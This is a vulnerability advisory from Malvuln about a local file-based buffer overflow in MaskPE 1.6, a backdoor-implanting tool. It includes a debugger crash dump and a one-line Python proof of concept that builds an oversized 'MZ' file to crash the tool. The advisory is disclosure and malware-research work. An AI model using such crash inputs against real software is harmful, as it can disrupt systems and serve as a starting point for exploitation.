Discovery / credits: Malvuln - malvuln.com (c) 20211 Original source: https://malvuln.com/advisory/170d3ccf9f036c552aef6690bf419b2e.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Nucleroot.t - MaskPE 1.6 Vulnerability: File Based Buffer Overflow Description: Description: MaskPE by yzkzero is a tool for implanting backdoors in existing PE files. The Backdoor tool doesnt properly check the files it loads and falls victim to a file based local buffer overflow. Type: PE32 MD5: 170d3ccf9f036c552aef6690bf419b2e Vuln ID: MVID-2021-0028 Network Access: Local ASLR: False DEP: False Safe SEH: True Disclosure: 01/15/2021 Memory Dump: This dump file has an exception of interest stored in it. The stored exception information can be accessed via .ecxr. (88c.14b0): Access violation - code c0000005 (first/second chance not available) eax=00000000 ebx=00000000 ecx=41414141 edx=41414101 esi=00000003 edi=00000003 eip=773ced3c esp=0019e7a8 ebp=0019e938 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202 ntdll!ZwWaitForMultipleObjects+0xc: 773ced3c c21400 ret 14h 0:000> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* FAULTING_IP: Backdoor_Win32_Nucleroot_t_170d3ccf9f036c552aef6690bf419b2e+8f43 00408f43 813850450000 cmp dword ptr [eax],4550h EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff) ExceptionAddress: 00408f43 (Backdoor_Win32_Nucleroot_t_170d3ccf9f036c552aef6690bf419b2e+0x00008f43) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000000 Parameter[1]: 456c4141 Attempt to read from address 456c4141 PROCESS_NAME: Backdoor.Win32.Nucleroot.t.170d3ccf9f036c552aef6690bf419b2e.exe OVERLAPPED_MODULE: Address regions for 'linkinfo' and 'xmllite.dll' overlap ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_PARAMETER1: 00000000 EXCEPTION_PARAMETER2: 456c4141 READ_ADDRESS: 456c4141 FOLLOWUP_IP: Backdoor_Win32_Nucleroot_t_170d3ccf9f036c552aef6690bf419b2e+8f43 00408f43 813850450000 cmp dword ptr [eax],4550h MOD_LIST: NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 FAULTING_THREAD: 000014b0 BUGCHECK_STR: APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_READ_FILL_PATTERN_41414141 PRIMARY_PROBLEM_CLASS: STRING_DEREFERENCE_FILL_PATTERN_41414141 DEFAULT_BUCKET_ID: STRING_DEREFERENCE_FILL_PATTERN_41414141 LAST_CONTROL_TRANSFER: from 004048c2 to 00408f43 STACK_TEXT: WARNING: Stack unwind information not available. Following frames may be wrong. 0019f0c8 004048c2 00000001 0019fb74 0019f438 Backdoor_Win32_Nucleroot_t_170d3ccf9f036c552aef6690bf419b2e+0x8f43 0019fc38 7739fa0d 000307d0 00000018 00000000 Backdoor_Win32_Nucleroot_t_170d3ccf9f036c552aef6690bf419b2e+0x48c2 0019fc84 7674ac66 0019fe3c 00000001 0019fcac ntdll!RtlFreeHeap+0x7cd 0019fd30 7674a757 00000000 00000000 00000000 KERNELBASE!LocalBaseRegOpenKey+0x176 0019fe48 0042752c 76e34fb0 00000000 0031e000 KERNELBASE!RegOpenKeyExInternalW+0x137 00000000 00000000 00000000 00000000 00000000 Backdoor_Win32_Nucleroot_t_170d3ccf9f036c552aef6690bf419b2e+0x2752c STACK_COMMAND: ~0s; .ecxr ; kb SYMBOL_STACK_INDEX: 0 SYMBOL_NAME: Backdoor_Win32_Nucleroot_t_170d3ccf9f036c552aef6690bf419b2e+8f43 FOLLOWUP_NAME: MachineOwner MODULE_NAME: Backdoor_Win32_Nucleroot_t_170d3ccf9f036c552aef6690bf419b2e IMAGE_NAME: Backdoor.Win32.Nucleroot.t.170d3ccf9f036c552aef6690bf419b2e.exe DEBUG_FLR_IMAGE_TIMESTAMP: 4449d126 FAILURE_BUCKET_ID: STRING_DEREFERENCE_FILL_PATTERN_41414141_c0000005_Backdoor.Win32.Nucleroot.t.170d3ccf9f036c552aef6690bf419b2e.exe!Unknown BUCKET_ID: APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_READ_FILL_PATTERN_41414141_Backdoor_Win32_Nucleroot_t_170d3ccf9f036c552aef6690bf419b2e+8f43 Followup: MachineOwner Exploit/PoC: python -c "print( 'MZ'+'A'*20000)" > doom.exe Load it into MaskPE and KABOOM! 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